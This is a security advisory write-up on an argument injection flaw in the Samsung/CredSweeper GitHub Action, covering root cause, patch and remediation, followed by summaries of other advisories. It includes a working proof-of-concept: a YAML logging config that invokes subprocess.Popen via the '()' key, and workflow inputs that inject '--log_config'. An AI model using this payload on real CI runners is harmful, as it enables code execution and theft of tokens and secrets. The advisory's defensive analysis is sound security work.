Dec 3, 2026·11 min read·4 visits
An argument injection flaw in the Samsung/CredSweeper GitHub Action (versions >= 1.11.6, < 1.17.0) allows attackers who control action inputs ('error' and 'hashed') to inject the '--log_config' CLI parameter. By supplying a crafted YAML configuration processed by Python's logging.config.dictConfig, an attacker achieves arbitrary command execution on the GitHub Actions runner.
The Samsung/CredSweeper GitHub Action between versions 1.11.6 and 1.16.x contains an argument injection vulnerability (CWE-88) in its composite action definition. The action accepts unvalidated strings for the 'error' and 'hashed' input parameters and passes them directly as command-line arguments to the CredSweeper CLI. An attacker capable of controlling these action inputs can inject the '--log_config' flag pointing to an attacker-controlled YAML file. Because CredSweeper loads this configuration using Python's logging.config.dictConfig, which supports instantiating arbitrary callables via the '()' factory key, this flaw leads to arbitrary command execution within the GitHub Actions runner environment.
CredSweeper is a static analysis tool developed by Samsung to detect credentials, tokens, passwords, and API keys in source code. To facilitate continuous integration and automated secret scanning, the repository provides a composite GitHub Action (Samsung/CredSweeper) defined in action.yml. This action allows repositories to integrate CredSweeper directly into their GitHub Actions workflows by specifying configuration inputs such as the target scan path, output report path, and operational flags.
In versions starting from 1.11.6 and prior to 1.17.0, the composite action suffers from an argument injection vulnerability classified under CWE-88 (Improper Neutralization of Argument Delimiters in a Command) and CWE-15 (External Control of System or Configuration Setting). Specifically, the action defines two optional parameters, error and hashed, which were intended to toggle CLI boolean behaviors (--error and --hashed). However, the action definition treats these parameters as unconstrained strings and interpolates them directly as independent tokens into a Bash shell command invoking the CredSweeper Python module.
When a workflow populates these action inputs from untrusted sources—such as workflow dispatch parameters, pull request metadata, or attacker-modified workflow definitions—an attacker can override the intended flags and supply arbitrary command-line options to the credsweeper executable. By setting one parameter to --log_config and the adjacent parameter to a file path within the workspace, the attacker redirects the application's logging initialization routine to an external YAML configuration file.
The vulnerability culminates in arbitrary code execution due to how CredSweeper processes the logging configuration. The application parses the specified YAML file and passes the resulting dictionary directly to Python's standard library function logging.config.dictConfig(). By design, the dictConfig schema allows dictionary entries to specify arbitrary Python callables using the () key. Consequently, when the logger initializes, Python resolves and executes the attacker-specified callable (such as subprocess.Popen), executing arbitrary commands inside the GitHub Actions runner before any credential scanning begins.
The root cause of GHSA-q5pw-pp6j-mvfc is a combination of unvalidated argument interpolation in the GitHub Action wrapper (action.yml) and an unsafe configuration sink in the underlying Python CLI (logging.config.dictConfig). The flaw in the action wrapper was introduced in commit 8fb9da8dab6716db021e0d758293160e560ba446 (released in v1.11.6), which refactored the action from a raw argument string into individual inputs (path, report, error, and hashed), while still relying on direct string substitution in a bash step.
In action.yml, the inputs error and hashed were assigned default values of "--error" and "--hashed", respectively. During execution, the action mapped these inputs to environment variables and executed the CLI using the following command structure:
python -m credsweeper --banner --log INFO --no-color --no-stdout "$error" "$hashed" --save-json "$report" --path "$path"Although the variables "$error" and "$hashed" were enclosed in double quotes—which prevents standard shell command chaining via metacharacters like ;, |, or &&—quoting does not prevent argument injection into the target binary's argv array. Python's argparse module processes each quoted environment variable as a distinct CLI token. Because action.yml performed no allowlist validation to verify that error and hashed contained only expected boolean flags, any valid CredSweeper CLI flag could be injected.
Once an attacker injects --log_config via "$error" and a target file path via "$hashed", execution flows into CredSweeper's initialization logic. In the CLI parser, --log_config is bound to args.log_config_path and passed to Logger.init_logging(args.log, args.log_config_path). Inside Logger.init_logging, the file is loaded and passed to the standard library logging utility:
logging_config = Util.yaml_load(file_path) if file_path else None
...
logging.config.dictConfig(logging_config)While Util.yaml_load() safely calls yaml.safe_load()—which prevents standard PyYAML !!python/object deserialization exploits—logging.config.dictConfig() natively acts as an instantiation gadget when given an untrusted dictionary. According to the Python logging.config documentation, if a configuration dictionary for a handler, formatter, or filter contains the key '()', the framework treats its value as a dotted import path to a callable factory object. Python dynamically imports the specified callable and invokes it with any remaining key-value pairs in the dictionary as keyword arguments, providing a direct primitive for arbitrary code execution.
Examining the vulnerable action.yml prior to version 1.17.0 illustrates how the inputs were configured and passed to the shell environment. In addition to the main execution step, the vulnerable file also contained a DEBUG step that echoed the environment variables directly into the runner logs:
inputs:
path:
description: "Path to scan"
required: true
report:
description: "CredSweeper report in JSON format"
default: "output.json"
required: false
hashed:
description: "Report output is hashed by default"
default: "--hashed"
required: false
error:
description: "Exit with an error code if credentials are detected"
default: "--error"
required: false
runs:
using: "composite"
steps:
- name: DEBUG
shell: bash
env:
path: ${{ inputs.path }}
report: ${{ inputs.report }}
error: ${{ inputs.error }}
hashed: ${{ inputs.hashed }}
run: echo "print ('@@@ $error @@@ $report @@@ $path @@@ $PATH @@@')"
...
- name: Run CredSweeper
shell: bash
env:
path: ${{ inputs.path }}
report: ${{ inputs.report }}
error: ${{ inputs.error }}
hashed: ${{ inputs.hashed }}
run: python -m credsweeper --banner --log INFO --no-color --no-stdout "$error" "$hashed" --save-json "$report" --path "$path"In commit 088249b11bd7832afa0051d6bdfb1d1d16aa1b1f (Pull Request #869), the maintainers completely replaced the bash invocation with an inline python script step. This architectural change addresses both argument injection and potential path traversal vectors:
- name: Run CredSweeper
shell: python
env:
WORKSPACE: ${{ github.workspace }}
path: ${{ inputs.path }}
severity: ${{ inputs.severity }}
report: ${{ inputs.report }}
hashed: ${{ inputs.hashed }}
error: ${{ inputs.error }}
subtext: ${{ inputs.subtext }}
run: |
import os
import sys
from multiprocessing import freeze_support
from pathlib import Path
from credsweeper.main import main
# 1. Resolve and validate that the workspace directory exists
workspace = Path(os.environ["WORKSPACE"]).resolve()
if not workspace.exists():
print(f"ERROR: Workspace does not exist: {workspace}", file=sys.stderr)
sys.exit(1)
# 2. Enforce workspace containment for scan_path and report_path
scan_path = (workspace / os.environ["path"]).resolve()
if not scan_path.exists():
print(f"ERROR: Scan path does not exist: {scan_path}", file=sys.stderr)
sys.exit(1)
try:
scan_path.relative_to(workspace)
except ValueError:
print(f"ERROR: Scan path must be within workspace", file=sys.stderr)
sys.exit(1)
report_path = (workspace / os.environ["report"]).resolve()
try:
report_path.relative_to(workspace)
except ValueError:
print(f"ERROR: Report path must be within workspace", file=sys.stderr)
sys.exit(1)
report_path.parent.mkdir(parents=True, exist_ok=True)
# 3. Strictly construct argv using boolean evaluation
if __name__ == '__main__':
freeze_support()
argv=[
"--banner",
"--log", "INFO",
"--no-color",
"--no-stdout",
"--error" if "true" == os.environ["error"].lower() else "--no-error",
"--hashed" if "true" == os.environ["hashed"].lower() else "--no-hashed",
"--subtext" if "true" == os.environ["subtext"].lower() else "--no-subtext",
"--save-json", str(os.environ["report"]),
"--severity", str(os.environ["severity"]),
"--path", str(os.environ["path"]),
]
exit_code=main(argv)
sys.exit(exit_code)The patch neutralizes the vulnerability through three mechanisms. First, the error, hashed, and subtext parameters are evaluated strictly against the string literal "true" ("true" == os.environ["error"].lower()). Regardless of what string an attacker supplies, the ternary expression only ever emits hardcoded flag literals ("--error" or "--no-error"). Second, the script invokes credsweeper.main.main(argv) directly within Python, passing a structured list of strings rather than relying on shell token expansion. Third, scan_path.relative_to(workspace) and report_path.relative_to(workspace) verify that neither the scan target nor the JSON report output can traverse outside github.workspace.
> [!NOTE]
> Regarding fix completeness: While report, severity, and path are passed directly into argv from os.environ, report and path are validated as existing relative paths inside the workspace prior to constructing argv. However, if a user creates a directory or file inside the workspace whose name begins with a hyphen (e.g., --log_config), argparse could still interpret str(os.environ["path"]) as an option flag if additional arguments followed it. Because --path is the final option in argv and consumes one or more arguments (nargs='+'), any trailing values remain bound to --path.
Exploiting GHSA-q5pw-pp6j-mvfc requires two conditions: a malicious YAML logging configuration file must be accessible on the runner filesystem (for example, committed inside a pull request branch being scanned), and the attacker must be able to control the error and hashed inputs passed to the Samsung/CredSweeper action step. This typically occurs in workflows triggered by workflow_dispatch, reusable workflows accepting untrusted inputs, or pull request workflows where action parameters are dynamically derived from PR metadata or modified in the PR branch.
To construct the payload, the attacker places a YAML file (e.g., evil_log.yml) inside the repository workspace. The file conforms to the Python logging.config version 1 schema and defines a custom handler named pwn that invokes subprocess.Popen via the () factory key:
version: 1
disable_existing_loggers: false
formatters:
simple:
format: '%(message)s'
handlers:
console:
class: logging.StreamHandler
formatter: simple
stream: ext://sys.stderr
logfile:
class: logging.FileHandler
formatter: simple
filename: 'run.log'
pwn:
(): subprocess.Popen
args: ['python', '-c', 'from pathlib import Path; Path("pwned.txt").write_text("PWNED", encoding="utf-8")']
root:
level: CRITICAL
handlers: [console, logfile, pwn]
ignore: []Next, the workflow step invoking Samsung/CredSweeper is supplied with error: --log_config and hashed: evil_log.yml:
- name: Run CredSweeper Action
uses: Samsung/CredSweeper@v1.16.0
with:
path: target.txt
report: output.json
error: --log_config
hashed: evil_log.ymlWhen the composite action executes on a vulnerable version such as v1.16.0, the Bash step expands the environment variables into:
python -m credsweeper --banner --log INFO --no-color --no-stdout --log_config evil_log.yml --save-json output.json --path target.txtDuring startup, CredSweeper reads evil_log.yml and calls logging.config.dictConfig(). As Python iterates over the handlers dictionary and attaches them to the root logger, it instantiates the pwn handler by calling subprocess.Popen(*['python', '-c', '...']). The payload executes immediately in a child process, writing PWNED to pwned.txt (or executing arbitrary shell commands), while CredSweeper proceeds to scan target.txt and exits cleanly with return code 0.
Successful exploitation grants the attacker arbitrary command execution within the context of the GitHub Actions runner executing the workflow. The severity is rated as High with a CVSS v3.1 score of 7.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N). The Attack Vector is Network (AV:N) with Low Attack Complexity (AC:L) and No Privileges Required (PR:N), while User Interaction is Required (UI:R) because a workflow run must be triggered or approved by a repository maintainer or automated CI event.
Within the GitHub Actions execution environment, an attacker who achieves code execution can access all environment variables, mounted secrets, and temporary authentication credentials provisioned for the job. Most notably, the attacker can extract the GITHUB_TOKEN from memory or the runner configuration files. Depending on the token's configured permissions, the attacker can push malicious code to the repository, modify releases, poison build artifacts, or overwrite workflow artifacts (I:H).
Furthermore, if the affected workflow executes on a persistent self-hosted runner rather than an ephemeral GitHub-hosted virtual machine, the impact extends beyond the single workflow run. On a persistent self-hosted runner, arbitrary command execution allows the attacker to install persistent backdoors, access internal corporate networks reachable by the runner host, or compromise subsequent builds from other repositories sharing the same runner infrastructure.
It is important to note the scope boundary of this advisory. Only users of the Samsung/CredSweeper GitHub Action (>= 1.11.6, < 1.17.0) are affected by this argument injection vulnerability. Downstream consumers who install the credsweeper package directly from PyPI and invoke it via Python or the CLI are not vulnerable unless they independently expose the --log_config CLI argument to untrusted external input.
To remediate GHSA-q5pw-pp6j-mvfc, repository maintainers must update all GitHub Actions workflow files (.github/workflows/*.yml) that reference Samsung/CredSweeper to version v1.17.0 or later. Version 1.17.0 contains commit 088249b11bd7832afa0051d6bdfb1d1d16aa1b1f, which replaces the vulnerable Bash step with a Python runner script that enforces strict boolean validation and workspace boundary checks.
> [!IMPORTANT]
> Because version 1.17.0 changes the expected values of the error and hashed action inputs from CLI flags (--error, --hashed) to boolean strings ("true", "false"), updating to v1.17.0 requires verifying any custom overrides in your workflow definitions. If a workflow previously specified error: "--error", it must be updated to error: "true" (or omitted, as "true" is the default) so that the comparison "true" == os.environ["error"].lower() evaluates as intended.
# Vulnerable workflow configuration
- name: Run CredSweeper
uses: Samsung/CredSweeper@v1.16.0
with:
path: .
error: "--error"
hashed: "--hashed"
# Patched workflow configuration (v1.17.0+)
- name: Run CredSweeper
uses: Samsung/CredSweeper@v1.17.0
with:
path: .
error: "true"
hashed: "true"For environments where immediate upgrading is delayed, security teams should audit all workflows using Samsung/CredSweeper to ensure that action inputs (path, report, error, hashed) are hardcoded static literals and never populated dynamically from untrusted GitHub context variables (such as github.event.inputs.*, github.event.pull_request.title, or github.head_ref). Additionally, workflows should enforce the principle of least privilege by restricting GITHUB_TOKEN permissions to contents: read at the workflow or job level, and avoid using pull_request_target to check out and scan untrusted pull request branches.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Samsung/CredSweeper (GitHub Action) Samsung | >= 1.11.6, < 1.17.0 | 1.17.0 |
| Attribute | Detail |
|---|---|
| Advisory ID | GHSA-q5pw-pp6j-mvfc |
| Vulnerability Class | Argument Injection (CWE-88) / External Control of Configuration (CWE-15) |
| CVSS v3.1 Score | 7.1 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) |
| Affected Component | Samsung/CredSweeper GitHub Action (>= 1.11.6, < 1.17.0) |
| Patched Version | 1.17.0 (Commit 088249b11bd7832afa0051d6bdfb1d1d16aa1b1f) |
| Execution Sink | Python logging.config.dictConfig() callable factory ('()') |
| Impact | Arbitrary Command Execution in GitHub Actions Runner |
| Exploit Status | Public Proof-of-Concept (PoC) |
The software constructs a string for a command to be executed by a separate component, but it does not properly neutralize the argument delimiters, allowing attackers to modify the command structure by injecting additional flags or options.
CVE-2026-92542 (GHSA-6m9p-4h64-m6vh) is an authentication bypass by spoofing and confused deputy vulnerability in the overlay network driver (libnetwork) of Docker Engine and Moby. The firewall rules responsible for marking outgoing VXLAN datagrams for IPsec encryption fail to distinguish between authentic VXLAN packets generated by the Linux kernel and forged UDP packets sent by local userspace processes. Consequently, an unprivileged user or process executing in the host network namespace of a Linux Docker Swarm node can transmit crafted VXLAN datagrams that the kernel automatically encrypts and routes to peer nodes, enabling blind injection of arbitrary Ethernet frames into encrypted overlay networks.
A critical authentication bypass vulnerability exists in Pion DTLS (versions 2.1.0 through 3.1.13 and 4.0.0-rc.1 through 4.0.0-rc.5) within the DTLS 1.2 server handshake state machine. When a server is configured with a SessionStore and negotiates a certificate-based cipher suite, it prematurely persists the session ID and derived master secret immediately after processing the ClientKeyExchange message. Because this cache write occurs before validating the client's Certificate, CertificateVerify, and Finished messages, an unauthenticated remote attacker can abandon an incomplete initial handshake and immediately perform an abbreviated session resumption handshake using the derived master secret, bypassing mandatory client certificate authentication (RequireAnyClientCert, RequireAndVerifyClientCert) and custom VerifyConnection callbacks.
CVE-2026-141546 (GHSA-wfmg-598x-58c5) is a path traversal vulnerability (CWE-22) in KiCad MCP Pro prior to version 4.20.1. Three variant export tools in src/kicad_mcp/tools/variants.py construct target output paths by joining unvalidated user-supplied arguments directly onto the validated output directory using Python's pathlib.Path concatenation operator. A caller invoking these tools with path traversal sequences or absolute file paths can bypass the KICAD_MCP_WORKSPACE_ROOT confinement boundary to create directories and write or overwrite arbitrary files on the host filesystem.
CVE-2026-141553 (GHSA-x9x8-xcv7-5x5g) is a medium-severity path traversal and arbitrary file overwrite vulnerability in termux-sync prior to version 1.3.8. During backup restoration, the cmd_restore function computes the extraction containment boundary as the parent directory of the target backup folder ($PREFIX or .../files) rather than the specific subdirectory itself. Consequently, a crafted backup archive (such as usr_etc.tar.gz) can extract files into sibling directories like $PREFIX/bin, overwriting system executables such as $PREFIX/bin/sh and achieving arbitrary code execution within the Termux user context.
CVE-2026-14534 (GHSA-m6fh-58r7-x697, PYSEC-2026-2149) is a high-severity security verification bypass in Trail of Bits Fickling up to version 0.1.10. Fickling is a Python pickle decompiler and static analysis tool used to detect malicious payloads in serialized objects and machine learning models. The vulnerability stems from an incomplete module blocklist (CWE-184) within Fickling's static analysis engine, which omitted the Python standard library modules _posixsubprocess, site, and atexit. Because Fickling classifies unblocked standard library imports as benign, malicious pickle streams utilizing these modules receive a LIKELY_SAFE verdict. When applications rely on fickling.load() or fickling.loads() as a defensive gate prior to deserialization, the bypass allows untrusted pickle bytecode to pass directly into Python's native pickle.loads(), resulting in arbitrary code execution (CWE-502).
CVE-2026-141555 (GHSA-vfhw-gfwp-vxfj) is a Cross-Site Scripting (XSS) vulnerability in the Python HTML sanitization library lxml-html-clean prior to version 0.4.7. The vulnerability stems from a parser differential between libxml2 and HTML5 browser parsing engines when handling HTML comments nested within raw-text and escapable raw-text elements (such as <noscript>, <textarea>, <title>, and <iframe>). When the cleaner is instantiated with the non-default configuration comments=False, an attacker can embed a closing tag inside an HTML comment to prematurely terminate the raw-text container in the client browser and execute arbitrary JavaScript.